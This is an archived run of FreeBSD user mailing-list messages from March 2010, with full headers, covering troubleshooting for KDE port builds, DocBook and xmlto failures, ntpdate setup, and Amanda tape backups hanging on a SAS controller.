<4B98865B.5080300@gmail.com> <4B9A7FEB.5080308@gmail.com> <14F5E195-F42E-4290-AD0B-60ED2AB9D475@mac.com> Date: Sat, 13 Mar 2010 13:01:14 +0100 Message-ID: <3a142e751003130401x58f8ec7ev30a3e8ccfa6f54ac@mail.gmail.com> From: Paul B Mahol To: Chuck Swiger Content-Type: text/plain; charset=ISO-8859-1 Cc: Elmar Stellnberger , FreeBSD - Subject: Re: Full Unicode Support for FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 12:01:17 -0000 On 3/12/10, Chuck Swiger wrote: > Hi, Elmar-- > > On Mar 12, 2010, at 9:54 AM, Elmar Stellnberger wrote: >> I am looking forward to engage in FreeBSD by implementing ext3-support >> and a suspend to disk facility. > > mount_ext2fs or fusefs ought to work with ext3 filesystems. > > zzz or "acpiconf -s 4" ought to address the suspend to disk facility, but it > depends greatly upon the quality of the BIOS to actually conform with the > ACPI spec. > I believe that OP is talking about OS support and not about BIOS support. Linux _have_ OS support for suspend to disk, freebsd does not. >> If there would be any interest I also ported my checkroot facility >> (http://www.elstel.com/checkroot/). > > How is this different from what's already available: > > http://www.freebsd.org/doc/handbook/updating-upgrading-freebsdupdate.html > > ...or via something like tripwire? If you're only doing MD5 and not > something like SHA1 or SHA256 (or multiple checksums, better yet), I don't > see the point > >> However all these little configuration issues like UTF-8 support are >> out of the scope what I can do because I am not a packager. > > I'm not sure what you mean by "UTF-8" support. FreeBSD itself does > reasonably well, and the quality of third-party ports varies. > >> I would be glad if the responsible packagers or anyone else was willing to >> engage >> in this. At least I will have to think about my engagement in terms of >> community support for precious issues like this one. > > It's unclear what you mean by this. At the basic level, things happen by > people writing changes and submitting patches. There is no shortage of > opinions which are sadly lacking code. :-) > > Regards, > -- > -Chuck > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 14:09:08 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0A451106564A for ; Sat, 13 Mar 2010 14:09:08 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 86D148FC1A for ; Sat, 13 Mar 2010 14:09:07 +0000 (UTC) Received: by fxm23 with SMTP id 23so2029105fxm.3 for ; Sat, 13 Mar 2010 06:09:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type; bh=qi17dUfN14qR6pxqc1Ielv94NETSVipP3QGdE8pR9do=; b=tS8o3lhdNip7eizEgzKoPHhc1Tq6FtqXifzUIbYNpvxItEzg8TSqrcD2END6+q6d12 LsTWHQtii70bZ5U1EM9scdE9Or/jDlF/lHoPKLxllYx9ko6dKDFFjrls8WQjwhZbQEe0 HSo5p0hNJhlN+ZTGZ8yf3IkdhZQfoDHGxv+D8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type; b=YdRmRkSx3zF4zN/r+ekH6a74bcaf8nxGKR7q2UPjxTZGIMQtR06hgEvGyuA1pr6vhu DUnMVtL+uEVCoDJ09azEqCQguc8QFQRmFSy398xuGGY0SSfH43hzSEV1baCgIfKg7Kie iA0XymWpVsaNPbX/vKrsPgAVdsbuRJYvDeN2Y= MIME-Version: 1.0 Received: by 10.239.185.14 with SMTP id a14mr625374hbh.24.1268489346134; Sat, 13 Mar 2010 06:09:06 -0800 (PST) From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Sat, 13 Mar 2010 17:08:46 +0300 Message-ID: <3f1c29e71003130608l37278d8fy64d26401c199f4ef@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: [FreeBSD 8.0] Installing KDE4 from sources: building xmlto fault X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 14:09:08 -0000 Good day! I'm running FreeBSD 8.0-STABLE-201002 amd64. Trying to install KDE4 from port, compiling the sources, I get xmlto-0.0.23 building fault: # cd /usr/ports/x11/kde4/ # make install clean <...> ===> Building for xmlto-0.0.23 make all-am for xml in xmlif.xml xmlto.xml; do FORMAT_DIR=./format /usr/local/bin/bash ./xmlto -o man/man1 man ./doc/$xml ; done || ( RC=$?; exit $RC ) xmlto: /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlif.xml does not validate (status 3) xmlto: Fix document syntax or use --skip-validation option I/O error : Attempt to load network entity http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlif.xml:4: warning: failed to load external entity " http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" "http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"> ^ I/O error : Attempt to load network entity http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd warning: failed to load external entity " http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" validity error : Could not load the external subset " http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" Document /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlif.xml does not validate xmlto: /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlto.xml does not validate (status 3) xmlto: Fix document syntax or use --skip-validation option I/O error : Attempt to load network entity http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlto.xml:3: warning: failed to load external entity " http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" "http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"> ^ I/O error : Attempt to load network entity http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd warning: failed to load external entity " http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" validity error : Could not load the external subset " http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" Document /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlto.xml does not validate *** Error code 13 Stop in /usr/ports/textproc/xmlto/work/xmlto-0.0.23. *** Error code 1 Stop in /usr/ports/textproc/xmlto/work/xmlto-0.0.23. *** Error code 1 Stop in /usr/ports/textproc/xmlto. *** Error code 1 Stop in /usr/ports/textproc/xmlto. *** Error code 1 Stop in /usr/ports/print/system-config-printer. *** Error code 1 Stop in /usr/ports/print/kdeutils4-printer-applet. *** Error code 1 Stop in /usr/ports/misc/kdeutils4. *** Error code 1 Stop in /usr/ports/misc/kdeutils4. *** Error code 1 Stop in /usr/ports/x11/kde4. *** Error code 1 Stop in /usr/ports/x11/kde4. But I can manually download this file: # fetch http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd docbookx.dtd 100% of 5705 B 36 kBps # wget http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd --2010-03-13 17:06:02-- http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd Resolving www.oasis-open.org... 66.151.234.59 Connecting to www.oasis-open.org|66.151.234.59|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5705 (5.6K) [text/plain] Saving to: `docbookx.dtd' 100%[===================================================================================================================>] 5,705 --.-K/s in 0.1s 2010-03-13 17:06:02 (38.8 KB/s) - `docbookx.dtd' saved [5705/5705] What do I have to do to continue port installation? From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 14:23:19 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C2D10106566B for ; Sat, 13 Mar 2010 14:23:19 +0000 (UTC) (envelope-from eitanadlerlist@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.152]) by mx1.freebsd.org (Postfix) with ESMTP id 59E7C8FC18 for ; Sat, 13 Mar 2010 14:23:19 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id e21so653662fga.13 for ; Sat, 13 Mar 2010 06:23:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=Mo7DxTeZwrAJ3EpOWQTtT6srM4AMugPevb1fUrK5NRo=; b=ikUQ59g4Nt43Vbaoxkxn6n7+MRycnc3b2PTlbZr/GdjNl03jUGRcUW+haUQ6PomUoM K9gmlJFsoscAzC7FZLAtotX9tfJwboE18Bh1uGjUjbIIhzN9znBaglTkaxbxO8PyiTGe WYYx6guWJYBD3MMN7VCHReQdRwRtgaSxDppTw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=UIWSldtdy5QlOdceTPkL1tuKd6UH+/fB4Ur8YM3ieyD1wn+ej+QIRz7yCwGa5I8o+Z 0E9iwlrn9qWmdPZhGoyv/hDqSVLD7L6Rrm3de7vX5jrU9HFVzQxWQouDwEfKRoyI0BO5 UAYLW38QBuQ2ybsppYdFobRrXyflGsQsFo6gw= MIME-Version: 1.0 Received: by 10.239.149.8 with SMTP id h8mr639573hbb.10.1268490198163; Sat, 13 Mar 2010 06:23:18 -0800 (PST) In-Reply-To: <4B992AA3.1080504@infracaninophile.co.uk> References: <4B992AA3.1080504@infracaninophile.co.uk> From: Eitan Adler Date: Sat, 13 Mar 2010 16:22:58 +0200 Message-ID: To: Matthew Seaman Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: sysinstall: download via pure http X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 14:23:19 -0000 > > You can just access ftp.freebsd.org by HTTP but sysinstall doesn't give me that option - or at least I can't find it From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 14:47:24 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 71D3C1065670 for ; Sat, 13 Mar 2010 14:47:24 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (unknown [IPv6:2001:470:1f09:679::1]) by mx1.freebsd.org (Postfix) with ESMTP id 37FB68FC0C for ; Sat, 13 Mar 2010 14:47:24 +0000 (UTC) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id 137DC9391; Sat, 13 Mar 2010 14:47:38 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon.cran.org.uk X-Spam-Level: X-Spam-Status: No, score=-2.8 required=8.0 tests=AWL,BAYES_00,RDNS_DYNAMIC autolearn=no version=3.2.5 Received: from core.draftnet (87-194-158-129.bethere.co.uk [87.194.158.129]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Sat, 13 Mar 2010 14:47:38 +0000 (UTC) From: Bruce Cran To: freebsd-questions@freebsd.org Date: Sat, 13 Mar 2010 14:47:10 +0000 User-Agent: KMail/1.12.4 (FreeBSD/9.0-CURRENT; KDE/4.3.5; amd64; ; ) References: <3f1c29e71003130608l37278d8fy64d26401c199f4ef@mail.gmail.com> In-Reply-To: <3f1c29e71003130608l37278d8fy64d26401c199f4ef@mail.gmail.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: 8bit Message-Id: <201003131447.10547.bruce@cran.org.uk> Cc: =?utf-8?b?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Subject: Re: [FreeBSD 8.0] Installing KDE4 from sources: building xmlto fault X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 14:47:24 -0000 On Saturday 13 March 2010 14:08:46 ŠŠ½Ń‚Š¾Š½ ŠšŠ»ŠµŃŃ wrote: > Good day! > > I'm running FreeBSD 8.0-STABLE-201002 amd64. > > Trying to install KDE4 from port, compiling the sources, I get xmlto-0.0.23 > building fault: > > What do I have to do to continue port installation? It took me a while to figure out. I guess you've deselected some DocBook formats that you may think you'd never want to use, in textproc/docbook - go back and reinstate (reconfigure) the default selections, because otherwise things break. Don't just reinstate the 4.2 format because things depend on the XML formats too :) -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 14:47:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 09B551065673 for ; Sat, 13 Mar 2010 14:47:53 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 8D8828FC23 for ; Sat, 13 Mar 2010 14:47:52 +0000 (UTC) Received: by fxm23 with SMTP id 23so2044671fxm.3 for ; Sat, 13 Mar 2010 06:47:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=tozHgLmalglqXsswX4mp7C7CNWGhcGTXc7tQZuRqng8=; b=SVobiN7yVrpG/bE3E2rPDGLmk8LUVaIeDI+Oh9bVhnef3JFlP61jZ+g8FUiWFzTeRl Cc+1pfigeyxv8aTQmEX1HXSktTPRFcWDEdEpeeNYjTqeeVaA85F5DrPNOzwcXb4+DMjP gD/B33lruVHjFQ0q84678jlsyKLsqeiKrQ2YU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=c3nb1/TruUxs0yyVPSmNHaV+yq/lg30RO7jX4gu5AtDtYVH6kZF4PRQUPAFfOw9w0x zJa3wrdnb993vjCRFoG95ZCwUt/+404nUqK9W2IWQemFRAUbYLPXCwwnB5TGqu6a5YQT CJnYHDasPYcMP4NQ57sPnFkvKjUyF2r5WwR7c= MIME-Version: 1.0 Received: by 10.239.147.11 with SMTP id y11mr643829hba.78.1268491671336; Sat, 13 Mar 2010 06:47:51 -0800 (PST) In-Reply-To: <86r5npun1e.fsf@blue.stonehenge.com> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Sat, 13 Mar 2010 17:47:31 +0300 Message-ID: <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> To: "Randal L. Schwartz" Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: RW , freebsd-questions@freebsd.org Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 14:47:53 -0000 2010/3/13 Randal L. Schwartz > > But really, why are you using ntpdate and not just ntpd? > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc. > See http://methodsandmessages.vox.com/ for Smalltalk and Seaside > discussion > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > I saw that more than year ago on my teacher's server, when I was deal with my first FreeBSD, so it's just a kind of habit. But on the other hand, if it exists, it could work properly, and I am interested in just to understand, how it should be set up. From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 14:54:07 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B38111065673 for ; Sat, 13 Mar 2010 14:54:07 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 47F058FC0A for ; Sat, 13 Mar 2010 14:54:07 +0000 (UTC) Received: by fxm23 with SMTP id 23so2047305fxm.3 for ; Sat, 13 Mar 2010 06:54:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=jdrFr2wGD8hczrK2jpL/gEvJOZq6pAOliikKCgLEQrI=; b=RfPAWdhtrjn55SRCZF5lK3OP3tY6FsBM7N2D9L40erJb/s0cjcNdMJAyEstEXjaoFw 04RbB4VEplO6MnHLtHqnBgXB+veUwtRSodwv9XleAFrponjTBI7i2i78ua3dQVb+e8fB tiVNd9JwZkEiHlUSZHhTlTuA4o2VKfz8Ui/qY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=HgO9NGc96+ml0ktHEYhfqjj/cnSjsNfuUYRx+btU9jC/+z1c3jmKowkYLvxggSinar bxLsedF86uk9noW6EmzcfC8p8QqimpFYOCmGRfYwJuCMiRuqMoK/G+1HT94+ZTzz4zpl t/L4HX1uBPSQonaIe/bQV26p6FDrad3fLlFVI= MIME-Version: 1.0 Received: by 10.239.177.77 with SMTP id u13mr608761hbf.96.1268492045135; Sat, 13 Mar 2010 06:54:05 -0800 (PST) In-Reply-To: <201003131447.10547.bruce@cran.org.uk> References: <3f1c29e71003130608l37278d8fy64d26401c199f4ef@mail.gmail.com> <201003131447.10547.bruce@cran.org.uk> From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Sat, 13 Mar 2010 17:53:45 +0300 Message-ID: <3f1c29e71003130653p5b78029cx19ddb44c35917b0f@mail.gmail.com> To: Bruce Cran Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: [FreeBSD 8.0] Installing KDE4 from sources: building xmlto fault X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 14:54:07 -0000 Hmmm. /usr/ports/textproc/docbook was not installed. I install it by hands (make install clean) withdefault options, then bask to my KDE building - it continued without fault. So, thank you a lot, and so on - we have the deal with incorrect port? It was nothing broken by myself. 2010/3/13 Bruce Cran > On Saturday 13 March 2010 14:08:46 =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3 wrote: > > Good day! > > > > I'm running FreeBSD 8.0-STABLE-201002 amd64. > > > > Trying to install KDE4 from port, compiling the sources, I get > xmlto-0.0.23 > > building fault: > > > > What do I have to do to continue port installation? > > It took me a while to figure out. I guess you've deselected some DocBook > formats that you may think you'd never want to use, in textproc/docbook - > go > back and reinstate (reconfigure) the default selections, because otherwis= e > things break. Don't just reinstate the 4.2 format because things depend o= n > the > XML formats too :) > > -- > Bruce Cran > --=20 =F3 =D5=D7=C1=D6=C5=CE=C9=C5=CD, =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3, http://kless.spb.ru/ From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 15:31:42 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 658C1106566B for ; Sat, 13 Mar 2010 15:31:42 +0000 (UTC) (envelope-from carmel_ny@hotmail.com) Received: from blu0-omc4-s20.blu0.hotmail.com (blu0-omc4-s20.blu0.hotmail.com [65.55.111.159]) by mx1.freebsd.org (Postfix) with ESMTP id 1ACE48FC0C for ; Sat, 13 Mar 2010 15:31:41 +0000 (UTC) Received: from BLU0-SMTP57 ([65.55.111.137]) by blu0-omc4-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Sat, 13 Mar 2010 07:31:41 -0800 X-Originating-IP: [67.189.160.65] X-Originating-Email: [carmel_ny@hotmail.com] Message-ID: Received: from scorpio.seibercom.net ([67.189.160.65]) by BLU0-SMTP57.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Sat, 13 Mar 2010 07:31:40 -0800 Received: from scorpio.seibercom.net (scorpio.seibercom.net [192.168.1.101]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: carmel_ny@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPSA id 20E2822838 for ; Sat, 13 Mar 2010 10:31:39 -0500 (EST) Date: Sat, 13 Mar 2010 10:31:38 -0500 From: Carmel To: freebsd-questions@freebsd.org Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 13 Mar 2010 15:31:40.0307 (UTC) FILETIME=[46F02E30:01CAC2C2] Subject: Still unable to update kdelibs3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 15:31:42 -0000 I have tried everything in the "UPDATING" file; however, I am still unable to get 'kdelibs3' updated. It always ends with this error message: Making all in dnssd gmake[2]: Entering directory `/usr/ports/x11/kdelibs3/work/kdelibs-3.5.10/dnssd' ../kdecore/kconfig_compiler/kconfig_compiler ./kcm_kdnssd.kcfg ./settings.kcfgc; ret=$?; \ if test "$ret" != 0; then rm -f settings.h ; exit $ret ; fi /libexec/ld-elf.so.1: Shared object "libjpeg.so.10" not found, required by "libkdefx.so.6" gmake[2]: *** [settings.h] Error 1 gmake[2]: Leaving directory `/usr/ports/x11/kdelibs3/work/kdelibs-3.5.10/dnssd' gmake[1]: *** [all-recursive] Error 1 gmake[1]: Leaving directory `/usr/ports/x11/kdelibs3/work/kdelibs-3.5.10' gmake: *** [all] Error 2 *** Error code 1 Other than deleting everything and starting over, I have no idea how to proceed. -- Carmel carmel_ny@hotmail.com |::::======= |::::======= |=========== |=========== | The universe is ruled by letting things take their course. It cannot be ruled by interfering. Chinese proverb From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 15:57:35 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EBF43106566C; Sat, 13 Mar 2010 15:57:34 +0000 (UTC) (envelope-from svein-listmail@stillbilde.net) Received: from mail.stillbilde.net (unknown [IPv6:2002:51af:3dc3:0:20c:29ff:fece:79f3]) by mx1.freebsd.org (Postfix) with ESMTP id 629108FC12; Sat, 13 Mar 2010 15:57:34 +0000 (UTC) Received: from [IPv6:2002:51af:3dc3:0:79cc:a126:7e59:782f] (unknown [IPv6:2002:51af:3dc3:0:79cc:a126:7e59:782f]) (Authenticated sender: svein-listmail) by mail.stillbilde.net (Familien Skogens mail) with ESMTPSA id EE59F23; Sat, 13 Mar 2010 16:57:53 +0100 (CET) Message-ID: <4B9BB600.5080200@stillbilde.net> Date: Sat, 13 Mar 2010 16:57:52 +0100 From: "Svein Skogen (Listmail Account)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Lightning/1.0b1 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org, "Stable, FreeBSD" , current@FreeBSD.org References: <4B9A4D9D.6040805@stillbilde.net> In-Reply-To: <4B9A4D9D.6040805@stillbilde.net> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Cc: Subject: Re: Amanda, FreeBSD8, amtype, hairpulling, etc. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 15:57:35 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 12.03.2010 15:20, Svein Skogen wrote: > I'm having trouble getting Amanda (2.6.1p2 from ports) to play nicely > with my hardware. > > Devices are: > at scbus0 target 1 lun 0 (sa0,pass0) > at scbus0 target 1 lun 1 (pass1,ch0) > connected via: > mpt0: port 0x9000-0x90ff mem > 0xfe4fc000-0xfe4fffff,0xfe4e0000-0xfe4effff irq 16 at device 0.0 on pci2 > mpt0: [ITHREAD] > mpt0: MPI Version=1.5.20.0 > > os and number in question is: > FreeBSD storage.stillbilde.net 8.0-STABLE FreeBSD 8.0-STABLE #0: Tue Mar > 9 07:01:59 UTC 2010 > svein@storage.stillbilde.net:/usr/obj/usr/src/sys/GENERIC amd64 > > Tapes are regular LTO-3 (HP C7973A). > > amtapetype simply hangs (after writing 3-4 tps for 5 seconds, then > simple silence both on sa0 and console) > > Has anybody run into this problem with FreeBSD8+mpt+autoloader? > > //Svein > I'm finally starting to make sense of what I'm seeing (hence the crossposting) Seems I've stumbled onto some strange incompatibility between my SAS controller (LSI 3801E), Tape-library, and FreeBSD+Solaris. The behavior I'm seeing is consistent with this solaris bug: http://bugs.opensolaris.org/bugdatabase/view_bug.do?bug_id=6894775 but luckily (?) for me, my disks are on an MFI controller. I'm seeing the exact same behavior in both FreeBSD and OpenSolaris 133 and 134. Linux and Windows installs on the box (this box is currently being set up, so I'm rather liberated from reinstall-concerns) seems unaffected, atleast the HP Software doesn't fail the way tar/dump/dd/amanda/bacula/whatnot does at random intervals. The errors only occur when the device I'm reading/writing from is 100% laoded (reading or writing 56mb/sec + compression), which when fed from a raid capable of more than 6 times that is quite likely to happen during backups. The Solaris bug seems to be around MSI handling, but there are several reports "over there" about this error occuring even with MSI disabled. Right now I'm dumbstruck about this, and might install Linux "just to get backups up and running this year", because I'm too tired of this entire process, but I'd REALLY rather run FreeBSD or OpenSolaris. This is based on a personal preference and nothing else, but if anybody has some blinding insights on how to get this working, I'm open for suggestions. //Svein - -- - 